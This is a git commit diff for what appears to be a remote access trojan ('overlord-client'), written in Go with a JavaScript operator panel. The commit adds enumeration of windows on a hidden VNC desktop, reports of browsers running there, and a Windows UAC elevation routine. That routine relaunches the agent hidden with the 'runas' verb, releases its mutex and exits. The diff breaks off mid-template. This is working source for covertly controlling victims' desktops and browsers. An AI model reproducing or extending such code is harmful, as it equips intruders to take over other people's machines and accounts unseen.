add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).
This commit is contained in:
@@ -104,8 +104,9 @@ func monitorProcessCrash(pid uint32, label string, notify func(step string, succ
|
|||||||
}
|
}
|
||||||
defer procCloseHandle.Call(hProc)
|
defer procCloseHandle.Call(hProc)
|
||||||
|
|
||||||
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
|
ret, _, _ := procWaitForSingleObject.Call(hProc, 20000)
|
||||||
if ret != 0 {
|
if ret != 0 {
|
||||||
|
notify("healthy", true, fmt.Sprintf("%s (PID %d) still running after 20s", label, pid))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1967,3 +1967,161 @@ func minInt(a, b int) int {
|
|||||||
}
|
}
|
||||||
return b
|
return b
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
procGetWindowTextW = user32.NewProc("GetWindowTextW")
|
||||||
|
procGetWindowTextLenW = user32.NewProc("GetWindowTextLengthW")
|
||||||
|
)
|
||||||
|
|
||||||
|
type HVNCWindowInfo struct {
|
||||||
|
HWND uintptr
|
||||||
|
Title string
|
||||||
|
X int
|
||||||
|
Y int
|
||||||
|
Width int
|
||||||
|
Height int
|
||||||
|
PID uint32
|
||||||
|
ProcessName string
|
||||||
|
Monitor int // -1 if not on any known monitor
|
||||||
|
Visible bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||||
|
hvncDesktopMu.Lock()
|
||||||
|
deskHandle := hvncDesktopHandle
|
||||||
|
hvncDesktopMu.Unlock()
|
||||||
|
if deskHandle == 0 {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
mons := monitorList()
|
||||||
|
monInfos := make([]HVNCMonitorInfo, len(mons))
|
||||||
|
for i, m := range mons {
|
||||||
|
monInfos[i] = HVNCMonitorInfo{
|
||||||
|
Index: i,
|
||||||
|
Name: m.name,
|
||||||
|
X: m.rect.Min.X,
|
||||||
|
Y: m.rect.Min.Y,
|
||||||
|
Width: m.rect.Dx(),
|
||||||
|
Height: m.rect.Dy(),
|
||||||
|
Primary: m.primary,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type rawWin struct {
|
||||||
|
hwnd uintptr
|
||||||
|
}
|
||||||
|
var windows []rawWin
|
||||||
|
|
||||||
|
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
|
||||||
|
windows = append(windows, rawWin{hwnd: hwnd})
|
||||||
|
return 1
|
||||||
|
})
|
||||||
|
procEnumDesktopWindows.Call(deskHandle, cb, 0)
|
||||||
|
|
||||||
|
var result []HVNCWindowInfo
|
||||||
|
for _, w := range windows {
|
||||||
|
if !isWindowVisible(w.hwnd) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var r rect
|
||||||
|
ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r)))
|
||||||
|
if ok == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
winW := int(r.right - r.left)
|
||||||
|
winH := int(r.bottom - r.top)
|
||||||
|
if winW <= 0 || winH <= 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
title := getWindowText(w.hwnd)
|
||||||
|
if title == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
var pid uint32
|
||||||
|
procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid)))
|
||||||
|
|
||||||
|
procName := ""
|
||||||
|
if pid != 0 {
|
||||||
|
procName = getProcessName(pid)
|
||||||
|
}
|
||||||
|
|
||||||
|
winLeft := int(r.left)
|
||||||
|
winTop := int(r.top)
|
||||||
|
monIdx := -1
|
||||||
|
bestOverlap := 0
|
||||||
|
for i, m := range mons {
|
||||||
|
overlapLeft := maxInt(winLeft, m.rect.Min.X)
|
||||||
|
overlapTop := maxInt(winTop, m.rect.Min.Y)
|
||||||
|
overlapRight := minInt(winLeft+winW, m.rect.Max.X)
|
||||||
|
overlapBottom := minInt(winTop+winH, m.rect.Max.Y)
|
||||||
|
if overlapRight > overlapLeft && overlapBottom > overlapTop {
|
||||||
|
area := (overlapRight - overlapLeft) * (overlapBottom - overlapTop)
|
||||||
|
if area > bestOverlap {
|
||||||
|
bestOverlap = area
|
||||||
|
monIdx = i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
result = append(result, HVNCWindowInfo{
|
||||||
|
HWND: w.hwnd,
|
||||||
|
Title: title,
|
||||||
|
X: winLeft,
|
||||||
|
Y: winTop,
|
||||||
|
Width: winW,
|
||||||
|
Height: winH,
|
||||||
|
PID: pid,
|
||||||
|
ProcessName: procName,
|
||||||
|
Monitor: monIdx,
|
||||||
|
Visible: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return result, monInfos
|
||||||
|
}
|
||||||
|
|
||||||
|
type HVNCMonitorInfo struct {
|
||||||
|
Index int
|
||||||
|
Name string
|
||||||
|
X int
|
||||||
|
Y int
|
||||||
|
Width int
|
||||||
|
Height int
|
||||||
|
Primary bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func getWindowText(hwnd uintptr) string {
|
||||||
|
length, _, _ := procGetWindowTextLenW.Call(hwnd)
|
||||||
|
if length == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
buf := make([]uint16, length+1)
|
||||||
|
procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(length+1))
|
||||||
|
return syscall.UTF16ToString(buf)
|
||||||
|
}
|
||||||
|
|
||||||
|
func getProcessName(pid uint32) string {
|
||||||
|
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
||||||
|
hProc, _, _ := procOpenProcess.Call(PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid))
|
||||||
|
if hProc == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
defer procCloseHandle.Call(hProc)
|
||||||
|
var buf [260]uint16
|
||||||
|
size := uint32(len(buf))
|
||||||
|
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
|
||||||
|
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
fullPath := syscall.UTF16ToString(buf[:size])
|
||||||
|
for i := len(fullPath) - 1; i >= 0; i-- {
|
||||||
|
if fullPath[i] == '\\' || fullPath[i] == '/' {
|
||||||
|
return fullPath[i+1:]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return fullPath
|
||||||
|
}
|
||||||
|
|||||||
@@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
case "hvnc_window_list":
|
||||||
|
log.Printf("hvnc: window list requested")
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("hvnc_window_list", nil, func() {
|
||||||
|
windows, monitors := capture.HVNCEnumWindows()
|
||||||
|
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||||
|
for _, w := range windows {
|
||||||
|
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||||
|
Title: w.Title,
|
||||||
|
X: w.X,
|
||||||
|
Y: w.Y,
|
||||||
|
Width: w.Width,
|
||||||
|
Height: w.Height,
|
||||||
|
PID: w.PID,
|
||||||
|
ProcessName: w.ProcessName,
|
||||||
|
Monitor: w.Monitor,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||||
|
for _, m := range monitors {
|
||||||
|
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||||
|
Index: m.Index,
|
||||||
|
Name: m.Name,
|
||||||
|
X: m.X,
|
||||||
|
Y: m.Y,
|
||||||
|
Width: m.Width,
|
||||||
|
Height: m.Height,
|
||||||
|
Primary: m.Primary,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||||
|
Type: "hvnc_window_list_result",
|
||||||
|
Windows: winEntries,
|
||||||
|
Monitors: monEntries,
|
||||||
|
})
|
||||||
|
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
case "hvnc_browser_check":
|
case "hvnc_browser_check":
|
||||||
log.Printf("hvnc: browser availability check requested")
|
log.Printf("hvnc: browser availability check requested")
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/mutex"
|
||||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
)
|
)
|
||||||
@@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
mutex.ReleaseGlobal()
|
||||||
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
|
||||||
|
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build !darwin
|
//go:build !darwin && !windows
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,110 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/mutex"
|
||||||
|
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
modShell32 = windows.NewLazySystemDLL("shell32.dll")
|
||||||
|
procShellExecute = modShell32.NewProc("ShellExecuteExW")
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
_SEE_MASK_NOCLOSEPROCESS = 0x00000040
|
||||||
|
_SEE_MASK_NOASYNC = 0x00000100
|
||||||
|
_SW_SHOWNORMAL = 1
|
||||||
|
_SW_HIDE = 0
|
||||||
|
)
|
||||||
|
|
||||||
|
type shellExecuteInfo struct {
|
||||||
|
cbSize uint32
|
||||||
|
fMask uint32
|
||||||
|
hwnd uintptr
|
||||||
|
lpVerb *uint16
|
||||||
|
lpFile *uint16
|
||||||
|
lpParameters *uint16
|
||||||
|
lpDirectory *uint16
|
||||||
|
nShow int32
|
||||||
|
hInstApp uintptr
|
||||||
|
lpIDList uintptr
|
||||||
|
lpClass *uint16
|
||||||
|
hkeyClass uintptr
|
||||||
|
dwHotKey uint32
|
||||||
|
hIcon uintptr
|
||||||
|
hProcess uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
|
||||||
|
token := windows.GetCurrentProcessToken()
|
||||||
|
if token.IsElevated() {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: true,
|
||||||
|
Message: "already running as admin",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
args := strings.Join(os.Args[1:], " ")
|
||||||
|
|
||||||
|
verb, _ := windows.UTF16PtrFromString("runas")
|
||||||
|
file, _ := windows.UTF16PtrFromString(exePath)
|
||||||
|
params, _ := windows.UTF16PtrFromString(args)
|
||||||
|
|
||||||
|
sei := shellExecuteInfo{
|
||||||
|
fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC,
|
||||||
|
lpVerb: verb,
|
||||||
|
lpFile: file,
|
||||||
|
lpParameters: params,
|
||||||
|
nShow: _SW_HIDE,
|
||||||
|
}
|
||||||
|
sei.cbSize = uint32(unsafe.Sizeof(sei))
|
||||||
|
|
||||||
|
r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei)))
|
||||||
|
if r1 == 0 {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: false,
|
||||||
|
Message: fmt.Sprintf("UAC elevation failed: %v", err),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
mutex.ReleaseGlobal()
|
||||||
|
log.Printf("[elevate] started elevated process via UAC")
|
||||||
|
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result",
|
||||||
|
CommandID: cmdID,
|
||||||
|
OK: true,
|
||||||
|
Message: "elevating — new process started as admin via UAC",
|
||||||
|
})
|
||||||
|
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
os.Exit(0)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -325,6 +325,33 @@ type HVNCBrowserLaunchStatus struct {
|
|||||||
Detail string `msgpack:"detail"`
|
Detail string `msgpack:"detail"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
type HVNCWindowEntry struct {
|
||||||
|
Title string `msgpack:"title"`
|
||||||
|
X int `msgpack:"x"`
|
||||||
|
Y int `msgpack:"y"`
|
||||||
|
Width int `msgpack:"width"`
|
||||||
|
Height int `msgpack:"height"`
|
||||||
|
PID uint32 `msgpack:"pid"`
|
||||||
|
ProcessName string `msgpack:"processName"`
|
||||||
|
Monitor int `msgpack:"monitor"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type HVNCMonitorEntry struct {
|
||||||
|
Index int `msgpack:"index"`
|
||||||
|
Name string `msgpack:"name"`
|
||||||
|
X int `msgpack:"x"`
|
||||||
|
Y int `msgpack:"y"`
|
||||||
|
Width int `msgpack:"width"`
|
||||||
|
Height int `msgpack:"height"`
|
||||||
|
Primary bool `msgpack:"primary"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type HVNCWindowListResult struct {
|
||||||
|
Type string `msgpack:"type"`
|
||||||
|
Windows []HVNCWindowEntry `msgpack:"windows"`
|
||||||
|
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
|
||||||
|
}
|
||||||
|
|
||||||
type ClipboardContent struct {
|
type ClipboardContent struct {
|
||||||
Type string `msgpack:"type"`
|
Type string `msgpack:"type"`
|
||||||
Text string `msgpack:"text"`
|
Text string `msgpack:"text"`
|
||||||
|
|||||||
@@ -416,6 +416,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
launchStatusEl.classList.add("hidden");
|
launchStatusEl.classList.add("hidden");
|
||||||
launchStatusEl.classList.remove("flex");
|
launchStatusEl.classList.remove("flex");
|
||||||
}, 15000);
|
}, 15000);
|
||||||
|
} else if (step === "healthy") {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-heart-pulse text-emerald-400";
|
||||||
|
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||||
|
launchStatusLabel.className = "text-emerald-300";
|
||||||
|
launchHideTimer = setTimeout(() => {
|
||||||
|
launchStatusEl.classList.add("hidden");
|
||||||
|
launchStatusEl.classList.remove("flex");
|
||||||
|
}, 10000);
|
||||||
} else if (step === "launch") {
|
} else if (step === "launch") {
|
||||||
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
|
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
|
||||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||||
@@ -485,7 +493,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
const installedAppsGrid = document.getElementById("installedAppsGrid");
|
const installedAppsGrid = document.getElementById("installedAppsGrid");
|
||||||
const installedAppsCount = document.getElementById("installedAppsCount");
|
const installedAppsCount = document.getElementById("installedAppsCount");
|
||||||
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
|
const refreshInstalledApps = document.getElementById("refreshInstalledApps");
|
||||||
|
const installedAppsSearch = document.getElementById("installedAppsSearch");
|
||||||
|
const installedAppsSearchClear = document.getElementById("installedAppsSearchClear");
|
||||||
|
const installedAppsEmpty = document.getElementById("installedAppsEmpty");
|
||||||
let installedAppsData = [];
|
let installedAppsData = [];
|
||||||
|
let installedAppsQuery = "";
|
||||||
|
|
||||||
let installedAppsLoading_pending = false;
|
let installedAppsLoading_pending = false;
|
||||||
|
|
||||||
@@ -496,9 +508,75 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
if (installedAppsList) installedAppsList.classList.add("hidden");
|
if (installedAppsList) installedAppsList.classList.add("hidden");
|
||||||
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
||||||
if (installedAppsCount) installedAppsCount.textContent = "";
|
if (installedAppsCount) installedAppsCount.textContent = "";
|
||||||
|
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
|
||||||
sendCmd("hvnc_installed_apps", {});
|
sendCmd("hvnc_installed_apps", {});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function applyInstalledAppsFilter() {
|
||||||
|
if (!installedAppsGrid) return;
|
||||||
|
const q = installedAppsQuery;
|
||||||
|
let visible = 0;
|
||||||
|
const buttons = Array.from(installedAppsGrid.children);
|
||||||
|
|
||||||
|
if (q) {
|
||||||
|
const prefix = [];
|
||||||
|
const contains = [];
|
||||||
|
const hidden = [];
|
||||||
|
for (const btn of buttons) {
|
||||||
|
const key = btn.dataset.search || "";
|
||||||
|
const name = (btn.dataset.name || "");
|
||||||
|
if (name.startsWith(q) || key.startsWith(q)) {
|
||||||
|
prefix.push(btn);
|
||||||
|
} else if (key.indexOf(q) !== -1) {
|
||||||
|
contains.push(btn);
|
||||||
|
} else {
|
||||||
|
hidden.push(btn);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (const btn of prefix) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
|
||||||
|
for (const btn of contains) { installedAppsGrid.appendChild(btn); btn.style.display = ""; }
|
||||||
|
for (const btn of hidden) { installedAppsGrid.appendChild(btn); btn.style.display = "none"; }
|
||||||
|
visible = prefix.length + contains.length;
|
||||||
|
} else {
|
||||||
|
for (const btn of buttons) {
|
||||||
|
btn.style.display = "";
|
||||||
|
visible++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (installedAppsEmpty) {
|
||||||
|
installedAppsEmpty.classList.toggle("hidden", !(q && visible === 0 && installedAppsData.length > 0));
|
||||||
|
}
|
||||||
|
if (installedAppsSearchClear) {
|
||||||
|
installedAppsSearchClear.classList.toggle("hidden", !q);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (installedAppsSearch) {
|
||||||
|
installedAppsSearch.addEventListener("input", () => {
|
||||||
|
installedAppsQuery = installedAppsSearch.value.trim().toLowerCase();
|
||||||
|
applyInstalledAppsFilter();
|
||||||
|
});
|
||||||
|
installedAppsSearch.addEventListener("click", (e) => e.stopPropagation());
|
||||||
|
installedAppsSearch.addEventListener("keydown", (e) => {
|
||||||
|
if (e.key === "Escape") {
|
||||||
|
installedAppsSearch.value = "";
|
||||||
|
installedAppsQuery = "";
|
||||||
|
applyInstalledAppsFilter();
|
||||||
|
}
|
||||||
|
e.stopPropagation();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
if (installedAppsSearchClear) {
|
||||||
|
installedAppsSearchClear.addEventListener("click", (e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
if (installedAppsSearch) installedAppsSearch.value = "";
|
||||||
|
installedAppsQuery = "";
|
||||||
|
applyInstalledAppsFilter();
|
||||||
|
if (installedAppsSearch) installedAppsSearch.focus();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
if (refreshInstalledApps) {
|
if (refreshInstalledApps) {
|
||||||
refreshInstalledApps.addEventListener("click", (e) => {
|
refreshInstalledApps.addEventListener("click", (e) => {
|
||||||
e.stopPropagation();
|
e.stopPropagation();
|
||||||
@@ -529,8 +607,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
|
if (installedAppsCount) installedAppsCount.textContent = `(${installedAppsData.length})`;
|
||||||
if (installedAppsData.length === 0) {
|
if (installedAppsData.length === 0) {
|
||||||
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
|
installedAppsGrid.innerHTML = '<div class="text-xs text-slate-600 text-center py-3">No apps found</div>';
|
||||||
|
} else {
|
||||||
|
installedAppsData.sort((a, b) => (a.name || "").localeCompare(b.name || "", undefined, { sensitivity: "base" }));
|
||||||
|
installedAppsGrid.innerHTML = "";
|
||||||
|
for (const app of installedAppsData) {
|
||||||
|
appendAppButton(app);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
applyInstalledAppsFilter();
|
||||||
}
|
}
|
||||||
|
|
||||||
function appendAppButton(app) {
|
function appendAppButton(app) {
|
||||||
@@ -538,6 +624,11 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
btn.type = "button";
|
btn.type = "button";
|
||||||
btn.className = "installed-app-btn";
|
btn.className = "installed-app-btn";
|
||||||
btn.title = app.exePath || app.name;
|
btn.title = app.exePath || app.name;
|
||||||
|
btn.dataset.search = ((app.name || "") + " " + (app.exePath || "")).toLowerCase();
|
||||||
|
btn.dataset.name = (app.name || "").toLowerCase();
|
||||||
|
if (installedAppsQuery && btn.dataset.search.indexOf(installedAppsQuery) === -1) {
|
||||||
|
btn.style.display = "none";
|
||||||
|
}
|
||||||
|
|
||||||
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
|
if (app.icon && /^[A-Za-z0-9+/=]+$/.test(app.icon)) {
|
||||||
const img = document.createElement("img");
|
const img = document.createElement("img");
|
||||||
@@ -969,6 +1060,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
handleBrowserLaunchStatus(msg);
|
handleBrowserLaunchStatus(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (msg && msg.type === "hvnc_window_list_result") {
|
||||||
|
handleWindowListResult(msg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
handleHVNCError(msg);
|
handleHVNCError(msg);
|
||||||
return;
|
return;
|
||||||
@@ -1457,6 +1552,136 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Window Map ──────────────────────────────────────────────
|
||||||
|
const windowMapBtn = document.getElementById("windowMapBtn");
|
||||||
|
const windowMapModal = document.getElementById("windowMapModal");
|
||||||
|
const windowMapCloseBtn = document.getElementById("windowMapCloseBtn");
|
||||||
|
const windowMapRefreshBtn = document.getElementById("windowMapRefreshBtn");
|
||||||
|
const windowMapCanvas = document.getElementById("windowMapCanvas");
|
||||||
|
const windowMapList = document.getElementById("windowMapList");
|
||||||
|
|
||||||
|
const WINDOW_COLORS = [
|
||||||
|
"#8b5cf6", "#3b82f6", "#10b981", "#f59e0b", "#ef4444",
|
||||||
|
"#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1",
|
||||||
|
];
|
||||||
|
|
||||||
|
function openWindowMap() {
|
||||||
|
if (!windowMapModal) return;
|
||||||
|
windowMapModal.style.display = "flex";
|
||||||
|
sendCmd("hvnc_window_list", {});
|
||||||
|
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading…</div>';
|
||||||
|
if (windowMapList) windowMapList.innerHTML = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeWindowMap() {
|
||||||
|
if (windowMapModal) windowMapModal.style.display = "none";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (windowMapBtn) windowMapBtn.addEventListener("click", openWindowMap);
|
||||||
|
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
|
||||||
|
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
|
||||||
|
sendCmd("hvnc_window_list", {});
|
||||||
|
if (windowMapCanvas) windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Refreshing…</div>';
|
||||||
|
if (windowMapList) windowMapList.innerHTML = "";
|
||||||
|
});
|
||||||
|
if (windowMapModal) windowMapModal.addEventListener("click", (e) => {
|
||||||
|
if (e.target === windowMapModal) closeWindowMap();
|
||||||
|
});
|
||||||
|
|
||||||
|
function handleWindowListResult(msg) {
|
||||||
|
const monitors = msg.monitors || [];
|
||||||
|
const windows = msg.windows || [];
|
||||||
|
|
||||||
|
if (!windowMapCanvas || !windowMapList) return;
|
||||||
|
|
||||||
|
if (monitors.length === 0 && windows.length === 0) {
|
||||||
|
windowMapCanvas.innerHTML = '<div class="flex items-center justify-center h-40 text-slate-500 text-sm">No windows or monitors found</div>';
|
||||||
|
windowMapList.innerHTML = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let minX = Infinity, minY = Infinity, maxX = -Infinity, maxY = -Infinity;
|
||||||
|
for (const m of monitors) {
|
||||||
|
minX = Math.min(minX, m.x);
|
||||||
|
minY = Math.min(minY, m.y);
|
||||||
|
maxX = Math.max(maxX, m.x + m.width);
|
||||||
|
maxY = Math.max(maxY, m.y + m.height);
|
||||||
|
}
|
||||||
|
for (const w of windows) {
|
||||||
|
minX = Math.min(minX, w.x);
|
||||||
|
minY = Math.min(minY, w.y);
|
||||||
|
maxX = Math.max(maxX, w.x + w.width);
|
||||||
|
maxY = Math.max(maxY, w.y + w.height);
|
||||||
|
}
|
||||||
|
if (!isFinite(minX)) { minX = 0; minY = 0; maxX = 1920; maxY = 1080; }
|
||||||
|
|
||||||
|
const totalW = maxX - minX || 1;
|
||||||
|
const totalH = maxY - minY || 1;
|
||||||
|
const containerW = windowMapCanvas.clientWidth || 800;
|
||||||
|
const aspect = totalW / totalH;
|
||||||
|
const mapH = Math.min(400, Math.max(180, containerW / aspect));
|
||||||
|
const scale = Math.min(containerW / totalW, mapH / totalH) * 0.92;
|
||||||
|
const padX = (containerW - totalW * scale) / 2;
|
||||||
|
const padY = (mapH - totalH * scale) / 2;
|
||||||
|
|
||||||
|
function tx(x) { return padX + (x - minX) * scale; }
|
||||||
|
function ty(y) { return padY + (y - minY) * scale; }
|
||||||
|
function tw(w) { return w * scale; }
|
||||||
|
|
||||||
|
let html = "";
|
||||||
|
windowMapCanvas.style.height = mapH + "px";
|
||||||
|
|
||||||
|
for (let i = 0; i < monitors.length; i++) {
|
||||||
|
const m = monitors[i];
|
||||||
|
const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height);
|
||||||
|
html += `<div class="absolute border-2 border-dashed border-slate-600 rounded" style="left:${x}px;top:${y}px;width:${w}px;height:${h}px;" title="Monitor ${m.index}: ${m.name} (${m.width}x${m.height})">
|
||||||
|
<span class="absolute top-1 left-1.5 text-[10px] font-mono text-slate-500">${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}</span>
|
||||||
|
<span class="absolute bottom-1 right-1.5 text-[10px] font-mono text-slate-600">${m.width}×${m.height}</span>
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < windows.length; i++) {
|
||||||
|
const w = windows[i];
|
||||||
|
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
|
||||||
|
const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8);
|
||||||
|
const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title;
|
||||||
|
html += `<div class="absolute rounded border overflow-hidden cursor-default" style="left:${x}px;top:${y}px;width:${ww}px;height:${wh}px;border-color:${color};background:${color}18;" title="${escHtml(w.title)}\n${w.processName} (PID ${w.pid})\nPosition: ${w.x},${w.y} Size: ${w.width}×${w.height}\nMonitor: ${w.monitor >= 0 ? w.monitor : "none"}">
|
||||||
|
